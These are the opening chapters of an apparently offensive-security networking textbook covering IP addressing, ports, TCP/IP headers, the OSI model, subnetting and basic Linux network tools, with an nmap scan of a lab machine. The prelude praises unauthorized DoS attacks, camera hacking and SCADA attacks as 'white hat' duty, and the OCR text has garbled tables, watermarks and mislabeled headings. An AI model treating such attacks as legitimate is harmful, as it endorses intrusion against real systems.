NETWORK BASICS FOR HACKERS

OCCUPYTHEWEB



NETWORKS HOW THEY WORK AND HOW THEY CAN BE BROKEN

Version 1.0

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Prelude

Welcome to the long-awaited Network Basics for Hackers! This is the fourth book in the series Linux Basics for Hackers from me, Occupytheweb. Like Linux Basics for Hackers, I intend this book to provide a basic framework, to begin with networking concepts, applications in Linux, and the vulnerabilities of the various protocols.

We will start with basic networking and TCP/IP concepts and then progress to tools for analyzing network packets and protocols. Then we will examine each of the major networking protocols, build their application in a Linux system and analyze their weaknesses that can be exploited by hackers. Finally, we will advance to some more advanced topics such as Automobile Networks, SCADA/ICS networks, Radio Frequency (RF) networks, and Mobile networks.

I'm assuming you have little or no networking background, but I AM assuming that you have read *Linux Basics for Hackers*. We will be using Linux exclusively to build our various applications (Linux commands are not explained in this book. Please refer to Linux Baiscs for Hackers for basic Linux commands). In addition, we will be using Kali Linux as our platform. Most all of the Kali Linux editions will work (examples in the book use various editions from 2019 through 2022.4). You can download Kali at kali.org (for instructions on installing Kali in a virtual machine, see *Linux Basics for Hackers*). In addition, recent Kali editions require that you use sudo before commands that require root privileges. Keep this is mind if you get a error message saying "command not found." You will probably need to precede the command with sudo.

Reading my *Getting Started Becoming a Master Hacker* will also be helpful, but it is not assumed here in this book. In chapters where we use Metasploit, you can gain the necessary background in this widely used tool by reading my tutorials on Metasploit at <u>www.hackers-arise.com</u> or reading my popular book *Metasploit Basics for Hackers* in the online bookstore at Hackers-Arise.

I don't pretend that this book will make you an expert network engineer, but I do hope it provides you with some insights into these protocols and their weaknesses from a hacker or security engineer's perspective.

What is a White Hat Hacker?

Hackers-Arise, my website, is a white-hat hacker training site. This means that we use our skills for **good**. Obviously, this means things like penetration testing and cyber-security. That is the textbook definition of a white hat hacker and one you will see on many hacking/cybersecurity certification exams.

Rather than be confined by the textbook definition, I prefer to expand the definition of a <u>white</u> <u>hat hacker</u>. Having hacking skills is similar to having a **superpower**; you have responsibilities and risks that go with it.

If your nation's government is authoritarian and censoring material over the Internet, I see it as incumbent upon the white hat hacker--with our hacking superpowers--to help to keep the Internet free and open. When governments feel threatened by their own people, they often shut down Internet access and communication of its people. In such a case, a <u>white hat hacker</u> can help to keep communication free and open. If a nation's government is illegally or unethically spying on its own people, then it is the responsibility of the <u>white hat hacker</u> to help those people maintain their privacy. If one authoritarian nation rolls its military over another free people, it is the RESPONSIBILITY of the white-hat hacker to respond. Remember, we are the good guys, and we have the power that few humans possess to protect freedom.

The white hat hacker is not **ONLY** a pentester/cybersecurity professional. The white hat hacker is also a beacon and warrior for information freedom and human rights on the Internet.

Our Actions and Activities in Ukraine

As most of you know, Hackers-Arise has played a key role in the efforts to save Ukraine from the actions of its brutal, former colonial master and neighbor, Russia. On February 24, 2022, Russia attacked Ukraine in an effort to subjugate it to Kremlin's rule. Within minutes, Hackers-Arise led an effort of tens of thousands of hackers around the world to DoS (denial of service) the Russian government and commercial websites. This included shutting down the stock exchange in Russia and other governemt and commercial sites. We were able to limit availability of these sites for about five weeks before Russian cybersecurity experts were able to thwart of efforts. Russian officials have vowed to take revenge on us.

Immediately after the war started, we began to geo-locate the yachts of Russia's oligarchs for harassment and eventual seizure by NATO countries. Soon therafter (April 2022), we received a request from Ukraine officials to hack the numerous cameras around the country to watch for Russian war crimes. We did so and maintain access to these camera even as I write. We have conducted cyberattacks against a number of industrial facilities (SCADA/ICS) in Russia to limit their ability to maintain their economic activity to sustain their war efforts.

In January 2023, at the request of Ukraine authorites, Hackers-Arise opened a cybersecurity/hacker school in Kharkiv, Ukraine. This school is just 40km (25 miles) from the Russian border. This represents the closest school to Russian territory in the world. It is designed

to train the next generation of security professionals/hackers to keep Ukraine and its neighbors safe.

We believe that it our responsibility, as hackers, to use our abilities to keep the world safe. This is what white hat hackers do.

Chapter 1

@AnonGhostNetwork Network Basics



So many of you have written to me asking whether networking is a key hacker skill. The unequivocal answer is YES! You are very unlikely to be successful in this field without a fundamental understanding of networks and networking. As a result, here is my Network Basics for Hackers to help you get started!

IP Addresses

Internet Protocol addresses (IP addresses) make the world go 'round. Or, at least, enable us to email, Zoom, watch YouTube videos, Tweet, and navigate the web. It's almost as important as the world going around!



Each digital device (computer, laptop, phone, tablet, etc.) is assigned an IP address, and this is what enables us to communicate and connect with it. Imagine an IP address as being similar to your house address. Without that address, no one could find you and send you snail mail.

The IP address system we are presently using is known as IP version 4, or IPv4. It is made up of 32 bits of four octets (8 characters) or four groups of 8 bits (on/off switches).

Take, for instance, 192.168.1.101. Each of the numbers between the dots (.) is the decimal equivalent of 8 bits. This means that we calculate the base 2_number (that computers use) represented by the 8 bits and convert them to decimal numbers that humans are more accustomed to working with (see the diagram below). Each one of the octets (8 bits) is capable of representing numbers within the range 0 through 255 (2 to the 8th power).



Thirty-two bits (4 x 8), or 4 bytes

Classes of IP Addresses

IP addresses are generally put into three classes, A, B, and C. The ranges of the classes are as follows:

- @AnonGhostNetwork
- Class A: 0.0.0.0 127.255.255.255
- Class B: 128.0.0.0 191.255.255.255
- Class C: 192.0.0.0 223.255.255.255

In Chapter 2, we will address sub-netting and subnet masks that vary with these different IP classes.

Public vs. Private IP Addresses

It's important to note that our IP address system has its limitations. The most significant restraint is that there are not enough IP addresses to cover all devices that need to connect to the internet. The IPv4 system we are working with now has only 4.3 billion IP addresses. With 7.5 billion people on the planet and far more devices, that certainly is not enough.

As a result, a system was developed to reuse a group of IP addresses within a LAN—that are not usable over the internet. These addresses can be used over and over again within each local area network, but not over the internet, thereby conserving the number of IP addresses necessary to keep the world going 'round.

These private addresses include:

- 192.168.0.0 192.168.255.255
- 10.0.0.0 10.255.255.255
- 172.16.0.0 172.16.255.255

You have probably seen the private IP addresses beginning with 192.168.xxx.xxx or 10.xxx.xxx on your Kali system when you type **ifconfig**.



This is your private IP that is only usable on the local area network. To communicate over the internet, your IP address must be translated to a public IP by a NAT device (see NAT below).

DHCP

Dynamic Host Configuration Protocol (DHCP) assigns IP addresses dynamically. This means that you do not have the same IP address all of the time. Most of the time, these IP address assignments are on a local area network. Remember, on LANs; we use private IP addresses. When each device is connected to the LAN, it must request an IP address. That device sends the request to the DHCP server that assigns an IP address to that system for a fixed length of time, known as a "lease."



Each time you connect to the LAN, you are likely to receive a different (dynamic) IP address, but usually in the same range. For instance, 192.168.0.0 - 192.168.255.255.

NAT

Network Address Translation (NAT) is a protocol whereby internal private IP addresses are "translated" to an external public IP address that can be routed through the internet to its destination. Remember, private IP addresses of the systems inside the LAN cannot use their IP addresses on the internet because they are not unique (every LAN uses basically the same IP addresses inside their network).

The NAT device accepts requests to traverse the internet from an internal machine. It then records that machine's IP address in a table and converts the IP address to the external IP address of the router. When the packet returns from its destination, the NAT device looks into the saved table of the original request. It forwards the packet to the internal IP address of the system that made the original request within the LAN. When working properly, the individual systems and users don't realize this translation is taking place.



For instance, the diagram above shows four computers with private IP addresses behind a device that is serving as both a NAT device and a router (not uncommon). The devices use their private IP addresses within the LAN, but when they want to communicate over the internet, the NAT device translates it to one of the public IP addresses that are unique on the internet. In this way, the routers along the way know exactly where to send the packets.

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Ports

Ports are a kind of sub-address. The IP address is the primary address, and the port is the subaddress. Using a well-worn but effective metaphor, think of the IP address as the street address of a building and then the port as the apartment number. I need the street address to get to the correct building, but I need the apartment address to find the individual person. This is similar to ports. The IP address gets us to the right host, but the port takes us to the proper service, say HTTP on port 80.

There are 65,536 (2 raised to the 16th power) ports. The first 1,024 are generally referred to as the "common ports." Obviously, people don't remember all 65,536 ports (unless they are savant) or even the 1,024 most common ports. As a hacker, security engineer, and/or network engineer, though, there are a few ports that you should know by heart:

Port Number(s)	Protocol	Port Type					
21	FTP	TCP, UDP					
22	SSH	TCP, UDP					
23	Teinet	TCP, UDP					
25	SMTP	TCP, UDP					
53	DNS	TCP, UDP					
67/68	DHCP	UDP					
80	HTTP	TCP, UDP					
110	POP3	TCP, UDP					
137-139	NetBIOS/NetBT	TCP, UDP					
143	IMAP	TCP					
161/162	SNMP	TCP, UDP					
389	LDAP	TCP, UDP					
427*	SLP	TCP, UDP					
443	HTTPS	TCP, UDP					
445	SMB/CIFS	TCP					
548	AFP	TCP					
3389	RDP	TCP, UDP					
*C:	*Can also be used for AFP						

We can use a tool such as <u>nmap</u> to see what ports are open on a system. In this way, the security engineer or hacker can see what ports are open and which services running on the target system.

For instance, to see all the ports open on a Metasploitable-2 system (an intentionally vulnerable Linux system developed by the good people at Metasploit), we can run the following command;

kali > sudo nmap -sT <IP address of the target system>

(kali \$ sudo] pa Starting Nmap scan Host is of Not shown PORT 21/tcp 22/tcp 23/tcp 25/tcp 53/tcp 80/tcp 111/tcp 139/tcp 445/tcp 512/tcp 512/tcp 513/tcp 514/tcp 1099/tcp 1524/tcp 2049/tcp 2049/tcp 2121/tcp 306/tcp 800/tcp 800/tcp 1524/tcp 1524/tcp 1099/tcp 1524/tcp 1099/tcp 1524/tcp 1099/tcp 1524/tcp 1099/tcp 1524/tcp 1000/tcp 8000/tcp 8000/tcp 8180/tcp MAC Addree)-[~] -s⊺ 192.168.107.140						
[sudo] password for kali:								
Starting		7.92 (https://nmap.org) at 2022-10-18 15:09 EDT						
Nmap sca		rt for 192.168.107.140						
Host is		0024s latency).						
Not show		closed tcp ports (conn-refused)						
PORT		SERVICE						
21/tcp	open	ftp						
22/tcp	open							
23/tcp		telnet						
25/tcp	open							
53/tcp		domain						
80/tcp	open							
111/tcp								
139/tcp	open	netbios-ssn						
445/tcp	open	microsoft-ds						
512/tcp	open	exec						
513/tcp	open	login						
514/tcp	open	shell						
1099/tcp		rmiregistry						
1524/tcp	open	ingreslock						
2049/tcp	open	nfs						
2121/tcp		ccproxy-ftp						
3306/tcp								
5432/tcp		postgresql						
5900/tcp								
6000/tcp								
6667/tcp								
8009/tcp								
8180/tcp								
MAC Addr	ess: 0	0:0C:29:FA:DD:2A (VMware)						
Nmap don	e: 1 I	P address (1 host up) scanned in 0.22 seconds						

nmap then reports back with the open ports and the default service on that port.

TCP/IP

Next, I want to introduce you to the basics of TCP/IP, i.e., Transmission Control Protocol (TCP) and Internet Protocol (IP). These are the most common protocols used on the internet for communication.

To become a proficient hacker, forensic investigator, or simply a good network engineer, you should understand the structure and anatomy of these protocols. From my experience, many professionals in these fields do not understand the basics of TCP/IP, which means that you will definitely have an advantage over them if you DO understand.

When trying to create a new hacking tool or investigate a network attack, understanding these protocols and their fields is essential. Otherwise, you will simply be wasting your time.

What Are Protocols?

Protocols are simply an agreed-upon way to communicate. For instance, we here on Hackers-Arise have agreed upon the English language with all its rules and grammar as our way to communicate. That is our protocol. If we did not have an agreed-upon way to communicate, people would be using many languages, grammar, and rules, and none of us would understand each other.

Protocols are similar. A protocol simply defines a way of communication with all its rules. These rules are usually defined by an RFC (Request for Comments).

There are many, many protocols in use on the internet. These include TCP, IP, UDP, FTP, HTTP, SMTP, etc., and each has its own set of rules that must be complied with to communicate effectively (similar to the rules we use in communication via written languages).



Arguably the two most important protocols for use over the internet are IP and TCP, so let's take a look at each of these.

IP (Internet Protocol)

IP, or Internet Protocol, is the protocol that is used to define the source and destination IP address of a packet as it traverses the internet. It is often used in conjunction with other protocols such as TCP; hence, the often-used conjunction, TCP/IP.

Let's look at an IP packet header and see what information it contains that can be useful to the aspiring hacker and/or forensic investigator.



Row 1

- Version: This defines the version of IP, either v4 or v6.
- **IHL:** Defines the header length.
- **Type of Service (TOS)**: This defines the type of service of this packet. These include minimize delay, maximize throughput, maximize reliability, and minimize monetary cost.
- **Total Length:** This defines the total length of the IP datagram (including the data) or the fragment. Its maximum value is 65,535.

Row 2

- **Identification**: This field uniquely identifies each packet. It can be critical in reassembling fragmented packets.
- **IP Flags**: This field defines whether the packet is fragmented (M) or not (D). The manipulation of the field can be used to evade IDS and firewalls. Check out my tutorials on <u>nmap</u> and <u>hping3</u> on how we can manipulate packets to evade intrusion detection

systems and other security devices. It can also be used in conjunction with the Window field to identify the operating system of the sender.

• **Fragment Offset:** This field is used when packets are fragmented. It defines where the packets should be reassembled from the beginning of the IP header.

Row 3

- **TTL:** This is the "time to live." This defines how many hops across the internet before the packet expires. It varies by the operating system making it helpful to identify the OS of the sender.
- **Protocol:** This field defines what protocol is being used with IP. Most often, it will be 6 or TCP, 1 for ICMP, 17 for UDP, among others.
- **Header Checksum**: This is an error-checking field. It calculates the checksum (a simple algorithm) to determine the integrity of the data in the header.

Rows 4 & 5

• **Source / Destination:** These rows of the IP header are probably the most important part of the header as it contains the source and destination IP address.

Row 6

- **Options:** This field is variable in length, and its use is optional (as you might expect).
- **Padding:** This field is used to fill out, if necessary, the remaining bits and bytes of the header.

TCP (Transmission Control Protocol)

In the TCP header, there are numerous critical fields that the aspiring hacker and/or forensic investigator should understand.



Row 1

• **Source Port** / **Destination Port:** Probably most importantly, these are the source port and destination port. These fields determine what port the communication came from (source) and where it is going (destination).

Row 2

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• **Sequence Number**: The sequence number is generated by the source machine's TCP stack and is used to make certain that packets are arranged in the proper sequence when they arrive. It is also important in defeating <u>MitM attacks</u>.

Row 3

• Acknowledgment Number: This is an echo of the Sequence Number sent back by the receiving system. It basically says, "I received the packet with the Sequence #." In this way, the sender knows that the packet has arrived. If the sender does not receive an Acknowledgment Number back in a fixed amount of time, it will resend the packet to make certain the receiver gets the packet. In this way, TCP is reliable (in contrast, UDP does not do this and is, therefore, unreliable).

Row 4

The fourth row has some critical information. Let's skip over the **Data Offset** and the **Reserved** fields. That takes us to 8 bits near the middle of Row 4. These are the infamous flags of the three-way handshake and nmap scans.

The first two bits, CWR and ECE, are beyond the scope of this lesson. The next six bits are the URG, ACK, PSH, RST, SYN, and FIN flags. These flags are used by TCP to communicate;

- **SYN:** The opening of a new connection.
- **FIN:** The normal, "soft" closing of a connection.
- ACK: The acknowledgment of a packet. All packets after the three-way handshake should have this bit set.
- **RST:** The hard-close of a connection and is usually used to communicate that the packet has arrived at the wrong port or IP.
- URG: This flag indicates that the following data is urgent.
- **PSH:** Push the data past the buffer to the application.

If you are familiar with <u>nmap</u> or <u>hping3</u> as <u>recon tools</u>, you have used scans utilizing all of these flags. By creating packets with flag combinations that should not be seen in the wild, we may be able to elicit a response from a very secure system or even evade detection.

• Window Size: In some diagrams, this is simply described as the Window field. Its role is to communicate the size of the window that the TCP stack has to buffer packets. This is the way that TCP manages flow control. From a recon or forensics perspective, this field alone can be enough to identify the OS that sent the packet. This field varies from OS to OS and even from SP to SP. Given this bit of information, one can predict with about 80% accuracy the OS that sent the packet. In fact, it is this field and a few others (DF and TTL in the IP header) that operating system fingerprinters such as pOf use to identify the OS.

Row 5

- Checksum: This field uses a simple algorithm to check for errors. In essence, it is an integrity checker.
- URG Pointer: This field points to the last byte of the sequence number of urgent data. The URG flag must be set in conjunction to activate this field.

Row 6

- **Options:** Like the IP header, the TCP header has an options field to be used if necessary, and it is varying length.
- **Padding:** The padding is necessary to bring the TCP header to a multiple of 32 bits.

TCP Three-Way Handshake

Every TCP connection starts with a 3-way handshake. The handshake begins with a client sending a packet with the SYN flag set saying, "Hello, I want to talk to you" the server responds with a packet with the SYN and ACK flags set saying, "Hi, I'm willing and able to chat," and

then finally, the client sends a packet with the ACK flag set that acknowledges the response of the server, and then the data transfer can begin.



UDP

User Datagram Protocol or UDP is a connectionless protocol (vs. TCP, which is connectionoriented and requires a connection such as the 3-way handshake as seen above). It is more lightweight than TCP since it doesn't have the overhead of assuring a connection and making certain that each packet arrives. UDP simply sends packets and forgets about them. This works great in applications where you want efficiency and no one packet is critical such as streaming music or video.

Some of the key protocols that use UDP include DNS (only for queries), SNMP for network device management, and NTP for network time synchronization.

When scanning for UDP ports with tools such as nmap, it can take a bit longer as UDP does not have a response for lost packets or closed ports. Nmap simply waits a specified time, and if no response is returned, it assumes the port is closed. You can scan for UDP nmap with the following command

kali > nmap -sU <IP Address>

Network Topologies

When devices are connected together, there are several options for the physical layout of the devices. This physical layout can be very important in optimizing the distance, latency, congestion, and availability of any two nodes on the network. This physical configuration is known as topology.

Ring Topology

The original topology in the early systems was a bus topology. Each of the devices is strung together in a single line. Each device can tap into the bus to send and receive packets. Every node can see every packet sent over the bus. Each device has to examine each packet to determine if the packet is intended for them. The advantage to the bus topology is that it is cheap and simple, while the disadvantage is that on a busy network, it can easily become congested.



Star Topology

The star topology is the most popular topology for local area networks (LAN). In the star topology, there is a server at the center of the star, and the clients all connect to the server. The advantage of this topology is that the connections to each of the clients are independent, and if one client or its connection is broken, the others clients can still communicate with the server.



Ring topology

The ring topology sends the packets around a ring, and only the client the packet is intended for can grab the packet from the ring. The advantage of the ring topology is that it is simple and inexpensive, but if the ring is broken, all clients cannot receive any communication.



Mesh Topology

ChonGhostNetwork The mesh topology has many connections between each device on the network. This means that a packet has a variety of paths to take to its destination. This gives the network resiliency in the case that one cable or path is broken. This is similar to how our modern internet is connected; packets have multiple paths they can take to the target system. In addition, mobile apps such as Briar are able to setup a network using a mesh topology and Wi-Fi or Bluetooth to create an alternate network for communication.



The OSI Model

The OSI and the TCP models are the most common models to understand the way that these various protocols work together. Many novices tend to minimize the importance of these models as they initially don't seem to have any practical importance to networking systems. In reality, you should at least have a basic understanding of these models as you will hear references to them repeatedly in your career, such as, "this is a layer three switch." This would be unintelligible without a rudimentary understanding of the OSI model.

Let's begin with the OSI model. The diagram below displays the seven layers and the basic use of that layer in network communication.



As you can see, there are seven layers to the OSI model, the Application layer, the Presentation layer, the session layer, the Transport layer, the Network layer, the Data link layer, and finally, the Physical layer. The figure above details the various layers and the protocols and activities associated with each. To help you remember the various layers of this model, there are at least two mnemonic devices to help. If we start from the top and work our way down, we can take the first letter of each layer, namely, A, P, S,T, N, D, and P. Many people remember these layers by using the mnemonic device;

All

People

Seem

То

Need

Data

Processing.

If you remember that phrase, you can likely remember the various layers. If we work our way up the model, we get P, D, N, T, S, P, and A. Then we use the phrase Please Don't Throw Sausage Pizza Away. Feel free to use either or make up your own. The key is to remember the seven layers. I hope this helps.

The OSI Model from a Cybersecurity Perspective

The attacks against the protocols in this model can be categorized as follows;



The **Application** layer generally includes applications such as a browser, word processors, and other applications. This layer's most important attacks are likely to be exploits. These are attacks that can often embed the hacker's code within the application to take control of the application and the system.

At the **Presentation** layer, the most concerning attack is phishing or sending emails to various people with malicious links.

At the **Session** layer, the most important attack is hijacking. Hijacking is where an attacker can take over an existing session established legitimately by the user.

At the **Transport** layer, the hacker often does their reconnaissance at this layer.

At the **Network** layer, the attackers can conduct Man-in-the-Middle MiTM) attacks where they place themselves between a legitimate user and a server, thereby eavesdropping on the traffic and possibly even altering it.

At the **Data Link** Layer, the attacker can spoof the MAC addresses, the globally unique address stamped on every networked device and essential to the proper functioning of a LAN (see ARP).

Finally, the **Physical** layer can be attacked using sniffing. Sniffing is the practice of watching and analyzing network traffic (see Wireshark and Sniffers in Chapter 4).

We will look more closely at each of the attacks against the network protocols and layers as we proceed through this book.

Now that you have a basic understanding of networks, IP addresses, and the OSI model, take a few minutes to test your knowledge with the questions below.

Exercises

- 1. What is the difference between public and private IP addresses? Is 172.16.242.63 a public or private IP address?
- 2. Use ifconfig to determine what IP address your system is using.
- 3. Do an nmap scan against your system. What ports are open?
- 4. What are the 6 TCP flags, and what are they used to do?
- 5. What are the most common attacks against the network layer?

Chapter 2 Subnetting and CIDR Notation

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To begin, let's state the obvious. First, to become a network engineer or network security engineer, you should have an *understanding* of sub-netting. Second, there are a number of tools that are convenient and useful in calculating your subnet, including subnet calculators. This having been said, calculators and other tools are no substitute for *understanding* sub-netting. That is what we intend to do here.

Why Sub-netting?

Sub-netting lets network administrators use the 32 bits in IPv4 IP address space more efficiently. They can create sub-nets within a Class A, B, or C network. This enables the administrator to create networks with more realistic host numbers.

Sub-netting provides a flexible way to designate which portion of the IP address represents the host IP and which portion represents the network ID. In addition, even if a single organization has thousands of devices, they don't want them all running on the same network ID. The network would slow dramatically. By dividing up the network, you can have different physical networks and broadcast domains.

		Subr	iet mask quick				
Host Bit				Mask	Binary	Mask	Subnet
length		Max hosts	Subnet mask	octet	mask	length	length
0	2^0=	1	255.255.255. <mark>255</mark>	4	11111111	32	0
1	2^1=	2	255.255.255. <mark>254</mark>	4	11111110	31	1
2	2^2=	4	255.255.255. <mark>252</mark>	4	11111100	30	2
3	2^3=	8	255.255.255. <mark>248</mark>	4	11111000	29	3
4	2^4=	16	255.255.255. <mark>240</mark>	4	11110000	28	4
5	2^5=	32	255.255.255. <mark>224</mark>	4	11100000	27	5
6	2^6=	64	255.255.255. <mark>192</mark>	4	11000000	26	6
7	2^7=	128	255.255.255. <mark>128</mark>	4	10000000	25	7
8	2^8=	256	255.255. <mark>255</mark> .0	letv3	11111111	24	8
9	2^9=	512	255.255. <mark>254</mark> .0	3	11111110	23	9
10	2^10=	1024	255.255. <mark>252</mark> .0	3	11111100	22	10
11	2^11=	2048	255.255. <mark>248</mark> .0	3	11111000	21	11
12	2^12=	4096	255.255. <mark>240</mark> .0	3	11110000	20	12
13	2^13=	8192	255.255. <mark>224</mark> .0	3	11100000	19	13
14	2^14=	16384	255.255. <mark>192</mark> .0	3	11000000	18	14
15	2^15=	32768	255.255. <mark>128</mark> .0	3	10000000	17	15
16	2^16=	65536	255. <mark>255</mark> .0.0	2	11111111	16	16
17	2^17=	131072	255. <mark>254</mark> .0.0	2	11111110	15	17
18	2^18=	262144	255. <mark>252</mark> .0.0	2	11111100	14	18
19	2^19=	524288	255. <mark>248</mark> .0.0	2	11111000	13	19
20	2^20=	1048576	255. <mark>240</mark> .0.0	2	11110000	12	20
21	2^21=	2097152	255. <mark>224</mark> .0.0	2	11100000	11	21
22	2^22=	4194304	255. <mark>192</mark> .0.0	2	11000000	10	22
23	2^23=	8388608	255. <mark>128</mark> .0.0	2	10000000	9	23
24	2^24=	16777216	255.0.0.0	1	11111111	8	24

Sub-nets

A subnet is a network within a network, namely a Class A, B, or C. Subnets are created by using one or more of the host bits to extend the network ID. As you know, Class A networks have an

8-bit network ID, Class B has a standard 16-bit network ID, and Class C has a standard 24-bit network ID. Subnetting enables us to create network ID's of any size.

Class	Leading Bits	Size of Network Number Bit field		Number of Networks	Addresses per Network	Start address	End address
Class A	0	8	24	128 (2 ⁷)	16,777,216 (2 ²⁴)	0.0.0.0	127.255.255.255
Class B	10	16	16	16,384 (2 ¹⁴)	65,536 (2 ¹⁶)	128.0.0.0	191.255.255.255
Class C	110	24	8	2,097,152 (2 ²¹)	256 (2 ⁸)	192.0.0.0	223.255.255.255

A network mask, or netmask, is a binary mask that is applied to an IP address to determine whether two IP addresses are in the same subnet. A network mask works by applying binary **AND** operations between the IP address and the mask.

Class A	Netwok	Host	Host	Host	
Subnet Mask	255	0	0	0	
0) AnonG	hostNe	twork		
Class B	Netwok	Network	Host	Host 0	
Subnet Mask	255	255	0		
Class C	Netwok	Network	Network	Host	
Subnet Mask	255	255	255	0	

Sub-Net Masks

Subnet masks use the 32-bit structure of the IP address. The subnet mask tells us which bits are for the Network ID and which bits are for the host ID. When the subnet mask bit is set to one, this means it is part of the network. A bit marked as zero is part of the host ID. The diagram below is meant to demonstrate this process of bit-wise AND operation between and IP address and its mask.



CIDR Notation

CIDR, or Classless Inter-Domain Routing notation, is a way of representing an IP address and the network mask associated with it. CIDR notation specifies an IP address, a slash (/), and a decimal number such as 192.168.1.0/24, where the 24 represents the number of bits in the network mask. Of course, the number of bits can vary depending on the number of sub-nets.

Our Scenario

To demonstrate this principle, let's create a scenario. Let's assume we have a Class C network, say 192.168.1.0. That means we have 254 host addresses available (1-254). What if we needed five different networks with no more than 30 hosts per network?

We have a Class C address:

NNNNNNNN.NNNNNNNNNNNNNNNNNNHHHHHHHH

With a Subnet mask of:

1111111.1111111.11111111.00000000

We can create smaller networks by borrowing bits from the host portion of the address.

NNNNNNNN.NNNNNNNNNNNNNNNNNNNNNNN

This provides us with a netmask like that below.



Those 3 bits would give us 2 to the 3rd power (8) -2 (we need to subtract for the reserved network and broadcast IP) subnets or 6. There would be 5 bits left in the network portion of the address or 2 to the 5th power (32) - 2 or 30 hosts per subnet.

The calculation of the subnet mask after borrowing those 3 bits would be;

255.255.255.224 (128+64+32=224)

Remember our values:								
128	64	32	16	8	4	2	1	Equals
Nowou	r 3 bit co	nfigurat	ions:					
o	o	1	н	н	н	н	н	32
o	1	o	н	н	н	н	н	64
o	1	1	н	н	н	н	н	96
1	o	o	н	н	н	н	н	128
1	o	1	н	н	н	н	н	160
1	1	o	н	н	н	н	н	192
Summary

Subnetting is a key skill for every network engineer or anyone trying to do network forensics or network analysis. Hopefully, this brief chapter sheds some light on the subject and at least leaves you conversant in this subject matter.

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Chapter 3

Network Analysis

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There are a large variety of tools available for analyzing your networks and network traffic. In this chapter, we will look at a few of the most widely used. Some you are already familiar with, such as ifconfig, and others may be new to you. It is my hope that by the end of the chapter, you will be familiar with the key tools to analyze network traffic and understand what is taking place on your network.

Command Line Tools

Let's begin with the command-line tools. In Chapter 1, I introduced you to **ifconfig** (ipconfig in Windows). This command is key to retrieving critical information about your network. Let's try it in our Kali Linux.

kali > ifconfig



Where:

- 1. Is the IPv4 private IP address
- 2. Is the netmask
- 3. The broadcast IP address
- 4. The IPv6 address
- 5. The MAC address
- 6. The loopback or localhost IP address

Ping is one of the most important commands to determine whether another system is live on your network or the Internet. Ping will accept either an IP address or a domain name. For instance, to ping hackers-arise.com, you simply enter;

kali > ping hackers-arise.com

<pre>(kali@kali)-[~] \$ ping hackers-arise.com</pre>	
PING hackers-arise.com (185.230.63.107) 56(84) bytes of data.	
64 bytes from unalocated.63.wixsite.com (185.230.63.107): icmp_seq=1 ttl=128	time=225 ms
64 bytes from unalocated.63.wixsite.com (185.230.63.107): icmp_seq=2 ttl=128	time=112 ms
64 bytes from unalocated.63.wixsite.com (185.230.63.107): icmp_seq=3 ttl=128	time=85.7 ms
64 bytes from unalocated.63.wixsite.com (185.230.63.107): icmp_seq=4 ttl=128	time=91.9 ms
64 bytes from unalocated.63.wixsite.com (185.230.63.107): icmp_seq=5 ttl=128	time=97.9 ms
64 bytes from unalocated.63.wixsite.com (185.230.63.107): icmp_seq=6 ttl=128	time=108 ms

As you can see in the screenshot above, the ping command sends a packet to the domain server for <u>www.hackers-arise.com</u>, and the server responds. In this way, we know it is up and functional. It also responds with its IP address. If we know the IP address of the host or server, we can simply use that IP to ping, such as;

kali > ping 185.230.63.107

<pre>(kali@ kali)-[~]</pre>
PING 185.230.63.107 (185.230.63.107) 56(84) bytes of data.
64 bytes from 185.230.63.107: icmp_seq=1 ttl=128 time=78.5 ms
64 bytes from 185.230.63.107: icmp_seq=2 ttl=128 time=81.9 ms
64 bytes from 185.230.63.107: icmp_seq=3 ttl=128 time=86.2 ms

netstat

Another handy command-line tool is netstat (network statistics). Netstat shows us all the connections coming or going from our system. This can help with monitoring and troubleshooting network connections. In some cases, I have used it to find malware connecting to my system.

kali > netstat –a

()_	-1:@k	ali)-[~	1					
	etstat							
			nnecti	ions (server	e and ost	abliched)		
				al Address		Foreign Addre	ess State	
tcp6				l:http		[::]:*	LISTEN	
udp				• •		192.168.107.2		
raw6]:ipv6-icmp		[::]:*	7	
				ets (servers				
		t Flags	SUCK	Type	State	I-Node	Path	
unix	2	[ACC	1	STREAM	LISTENIN		/tmp/ssh-XXXXXWpgKxQ/agent.858	
unix	2	[ACC		STREAM	LISTENIN		/tmp/.X11-unix/X0	
unix	2	[ACC		STREAM	LISTENIN		/tmp/.ICE-unix/858	
unix	3	[]		DGRAM	CONNECTE		/run/systemd/notify	
unix	2	i j		DGRAM		13794	/run/systemd/journal/syslog	
unix	2	[ACC	1	STREAM	LISTENIN		/run/systemd/fsck.progress	
unix	13	[]	1	DGRAM	CONNECTE		/run/systemd/journal/dev-log	
unix	6	ří		DGRAM	CONNECTE		/run/systemd/journal/socket	
unix	2	Í ÁCC	1	STREAM	LISTENIN	IG 13803	/run/systemd/journal/stdout	
unix	2	[ACC	i	SEQPACKET	LISTENIN	IG 13805	/run/udev/control	
unix	2	[ACC	i	STREAM	LISTENIN	IG 16352	@/tmp/.X11-unix/X0	
unix	2	[ACC	j	STREAM	LISTENIN	IG 16393	/run/dbus/system_bus_socket	
unix	2	[]		DGRAM		17650	/run/user/1000/systemd/notify	
unix	2	[ACC]	STREAM	LISTENIN	IG 17653	/run/user/1000/systemd/private	
unix	2	[ACC]	STREAM	LISTENIN	IG 17662	/run/user/1000/bus	
unix	2	[ACC]	STREAM	LISTENIN	IG 17664	/run/user/1000/gnupg/S.dirmngr	
unix	2	[ACC]	STREAM	LISTENIN	IG 12163	/run/systemd/journal/io.systemd.journal	
unix	2	[ACC		STREAM	LISTENIN		/run/user/1000/gcr/ssh	
unix	2	[ACC		STREAM	LISTENIN		/run/user/1000/keyring/control	
unix	2	[ACC	-	STREAM	LISTENIN		/run/user/1000/gnupg/S.gpg-agent.browser	
unix	2	[ACC]	STREAM	LISTENIN	IG 17672	/run/user/1000/gnupg/S.gpg-agent.extra	

Your system probably looks different, but you can see every connection to your system. There may be hundreds!

To display all the TCP connections, you can use the to –t switch; for all the UDP connections, you can use the –u switch and for all the listening connections, the –l switch, as seen below.

If you are looking for a specific connection, you can pipe (see Linux Basics for Hackers) the netstat command to grep and filter for key words. If you have an Apache web server running on your system listening for connections, you can check by piping netstat –a to grep http, such as;

kali > netstat –a | grep http



ss is a similar tool that can display even more information than netstat in a more readable format. When we run the **ss** command, we get a display of very connection to our system with the local address and port, as well as the port on the peer system.

(kali⊛ka ⊆s ss	li)-[~]					
Netid State Process	Recv-Q	Send-Q	Local Address	:Port I	Peer Addres	s:Port
u_dgr ESTAB	0	0	/run/systemd/notify	13778		* 0
u_dgr ESTAB	0	0	/run/systemd/journal/dev-log	13799		* 0
u_dgr ESTAB	0	Ø	/run/systemd/journal/socket	13801		* 0
